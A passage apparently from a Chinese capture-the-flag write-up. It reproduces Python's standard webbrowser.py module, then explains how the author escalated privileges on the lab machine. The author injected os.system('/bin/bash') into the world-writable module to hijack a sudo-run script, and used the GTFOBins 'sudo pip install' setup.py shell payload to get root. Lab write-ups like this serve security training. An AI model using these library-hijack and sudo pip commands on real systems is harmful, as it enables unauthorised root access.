import glob
import pwd
import socket
import tempfile
tempdir = os.path.join(tempfile.gettempdir(),
".grail-unix")
user = pwd.getpwuid(os.getuid())[0]
filename = os.path.join(glob.escape(tempdir), glob.escape(user) + "-*")
maybes = glob.glob(filename)
if not maybes:
return None
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
for fn in maybes:
# need to PING each one until we find one that's live
try:
s.connect(fn)
except OSError:
# no good; attempt to clean it out, but don't fail:
try:
os.unlink(fn)
except OSError:
pass
else:
return s
def _remote(self, action):
s = self._find_grail_rc()
if not s:
return 0
s.send(action)
s.close()
return 1
def open(self, url, new=0, autoraise=True):
sys.audit("webbrowser.open", url)
if new:
ok = self._remote("LOADNEW " + url)
else:
ok = self._remote("LOAD " + url)
return ok
#
# Platform support for Unix
#
# These are the right tests because all these Unix browsers require either
# a console terminal or an X display to run.
def register_X_browsers():
# use xdg-open if around
if shutil.which("xdg-open"):
register("xdg-open", None, BackgroundBrowser("xdg-open"))
# The default GNOME3 browser
if "GNOME_DESKTOP_SESSION_ID" in os.environ and shutil.which("gvfs-open"):
register("gvfs-open", None, BackgroundBrowser("gvfs-open"))
# The default GNOME browser
if "GNOME_DESKTOP_SESSION_ID" in os.environ and shutil.which("gnome-open"):
register("gnome-open", None, BackgroundBrowser("gnome-open"))
# The default KDE browser
if "KDE_FULL_SESSION" in os.environ and shutil.which("kfmclient"):
register("kfmclient", Konqueror, Konqueror("kfmclient"))
if shutil.which("x-www-browser"):
register("x-www-browser", None, BackgroundBrowser("x-www-browser"))
# The Mozilla browsers
for browser in ("firefox", "iceweasel", "iceape", "seamonkey"):
if shutil.which(browser):
register(browser, None, Mozilla(browser))
# The Netscape and old Mozilla browsers
for browser in ("mozilla-firefox",
"mozilla-firebird", "firebird",
"mozilla", "netscape"):
if shutil.which(browser):
register(browser, None, Netscape(browser))
# Konqueror/kfm, the KDE browser.
if shutil.which("kfm"):
register("kfm", Konqueror, Konqueror("kfm"))
elif shutil.which("konqueror"):
register("konqueror", Konqueror, Konqueror("konqueror"))
# Gnome's Galeon and Epiphany
for browser in ("galeon", "epiphany"):
if shutil.which(browser):
register(browser, None, Galeon(browser))
# Skipstone, another Gtk/Mozilla based browser
if shutil.which("skipstone"):
register("skipstone", None, BackgroundBrowser("skipstone"))
# Google Chrome/Chromium browsers
for browser in ("google-chrome", "chrome", "chromium", "chromium-browser"):
if shutil.which(browser):
register(browser, None, Chrome(browser))
# Opera, quite popular
if shutil.which("opera"):
register("opera", None, Opera("opera"))
# Next, Mosaic -- old but still in use.
if shutil.which("mosaic"):
register("mosaic", None, BackgroundBrowser("mosaic"))
# Grail, the Python browser. Does anybody still use it?
if shutil.which("grail"):
register("grail", Grail, None)
def register_standard_browsers():
global _tryorder
_tryorder = []
if sys.platform == 'darwin':
register("MacOSX", None, MacOSXOSAScript('default'))
register("chrome", None, MacOSXOSAScript('chrome'))
register("firefox", None, MacOSXOSAScript('firefox'))
register("safari", None, MacOSXOSAScript('safari'))
# OS X can use below Unix support (but we prefer using the OS X
# specific stuff)
if sys.platform[:3] == "win":
# First try to use the default Windows browser
register("windows-default", WindowsDefault)
# Detect some common Windows browsers, fallback to IE
iexplore = os.path.join(os.environ.get("PROGRAMFILES", "C:\\Program Files"),
"Internet Explorer\\IEXPLORE.EXE")
for browser in ("firefox", "firebird", "seamonkey", "mozilla",
"netscape", "opera", iexplore):
if shutil.which(browser):
register(browser, None, BackgroundBrowser(browser))
else:
# Prefer X browsers if present
if os.environ.get("DISPLAY") or os.environ.get("WAYLAND_DISPLAY"):
try:
cmd = "xdg-settings get default-web-browser".split()
raw_result = subprocess.check_output(cmd, stderr=subprocess.DEVNULL)
result = raw_result.decode().strip()
except (FileNotFoundError, subprocess.CalledProcessError, PermissionError, NotADirectoryError) :
pass
else:
global _os_preferred_browser
_os_preferred_browser = result
register_X_browsers()
# Also try console browsers
if os.environ.get("TERM"):
if shutil.which("www-browser"):
register("www-browser", None, GenericBrowser("www-browser"))
# The Links/elinks browsers <http://artax.karlin.mff.cuni.cz/~mikulas/links/>
if shutil.which("links"):
register("links", None, GenericBrowser("links"))
if shutil.which("elinks"):
register("elinks", None, Elinks("elinks"))
# The Lynx browser <http://lynx.isc.org/>, <http://lynx.browser.org/>
if shutil.which("lynx"):
register("lynx", None, GenericBrowser("lynx"))
# The w3m browser <http://w3m.sourceforge.net/>
if shutil.which("w3m"):
register("w3m", None, GenericBrowser("w3m"))
# OK, now that we know what the default preference orders for each
# platform are, allow user to override them with the BROWSER variable.
if "BROWSER" in os.environ:
userchoices = os.environ["BROWSER"].split(os.pathsep)
userchoices.reverse()
# Treat choices in same way as if passed into get() but do register
# and prepend to _tryorder
for cmdline in userchoices:
if cmdline != '':
cmd = _synthesize(cmdline, preferred=True)
if cmd[1] is None:
register(cmdline, None, GenericBrowser(cmdline), preferred=True)
# what to do if _tryorder is now empty?
#
# Platform support for Windows
#
if sys.platform[:3] == "win":
class WindowsDefault(BaseBrowser):
def open(self, url, new=0, autoraise=True):
sys.audit("webbrowser.open", url)
try:
os.startfile(url)
except OSError:
# [Error 22] No application is associated with the specified
# file for this operation: '<URL>'
return False
else:
return True
#
# Platform support for MacOS
#
if sys.platform == 'darwin':
# Adapted from patch submitted to SourceForge by Steven J. Burr
class MacOSX(BaseBrowser):
"""Launcher class for Aqua browsers on Mac OS X
Optionally specify a browser name on instantiation. Note that this
will not work for Aqua browsers if the user has moved the application
package after installation.
If no browser is specified, the default browser, as specified in the
Internet System Preferences panel, will be used.
"""
def __init__(self, name):
self.name = name
def open(self, url, new=0, autoraise=True):
sys.audit("webbrowser.open", url)
assert "'" not in url
# hack for local urls
if not ':' in url:
url = 'file:'+url
# new must be 0 or 1
new = int(bool(new))
if self.name == "default":
# User called open, open_new or get without a browser parameter
script = 'open location "%s"' % url.replace('"', '%22') # opens in default browser
else:
# User called get and chose a browser
if self.name == "OmniWeb":
toWindow = ""
else:
# Include toWindow parameter of OpenURL command for browsers
# that support it. 0 == new window; -1 == existing
toWindow = "toWindow %d" % (new - 1)
cmd = 'OpenURL "%s"' % url.replace('"', '%22')
script = '''tell application "%s"
activate
%s %s
end tell''' % (self.name, cmd, toWindow)
# Open pipe to AppleScript through osascript command
osapipe = os.popen("osascript", "w")
if osapipe is None:
return False
# Write script to osascript's stdin
osapipe.write(script)
rc = osapipe.close()
return not rc
class MacOSXOSAScript(BaseBrowser):
def __init__(self, name):
self._name = name
def open(self, url, new=0, autoraise=True):
if self._name == 'default':
script = 'open location "%s"' % url.replace('"', '%22') # opens in default browser
else:
script = '''
tell application "%s"
activate
open location "%s"
end
'''%(self._name, url.replace('"', '%22'))
osapipe = os.popen("osascript", "w")
if osapipe is None:
return False
osapipe.write(script)
rc = osapipe.close()
return not rc
def main():
import getopt
usage = """Usage: %s [-n | -t] url
-n: open new window
-t: open new tab""" % sys.argv[0]
try:
opts, args = getopt.getopt(sys.argv[1:], 'ntd')
except getopt.error as msg:
print(msg, file=sys.stderr)
print(usage, file=sys.stderr)
sys.exit(1)
new_win = 0
for o, a in opts:
if o == '-n': new_win = 1
elif o == '-t': new_win = 2
if len(args) != 1:
print(usage, file=sys.stderr)
sys.exit(1)
url = args[0]
open(url, new_win)
print("\a")
if __name__ == "__main__":
main()
可以看到模块有导入os模块
对比两个文件权限，可以发现webbrowser.py任何用户具备可读可写可执行权限
修改 webbrower.py，添加以下代码
os.system ("/bin/bash")
使用 vi 打开文件：vim /usr/lib/python3.9/webbrowser.py
写入代码，保存文件:wq
执行以下命令切换 shell: sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py
成功切换
2.4.3 使用 sudo 程序提权
访问：https://gtfobins.github.io/，查询 pip
点击访问：https://gtfobins.github.io/gtfobins/pip/#sudo
复制上面代码在 shell 中执行
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF
成功提权
总结
本次靶机涉及信息泄露漏洞，系统配置漏洞，sudo 提权
- ffuf 工具暴力破解目录
- 在线识别算法https://www.dcode.fr/cipher-identifier
- ssh2john工具的使用
- 使用 john 破解 hash
- sudo：pip提权
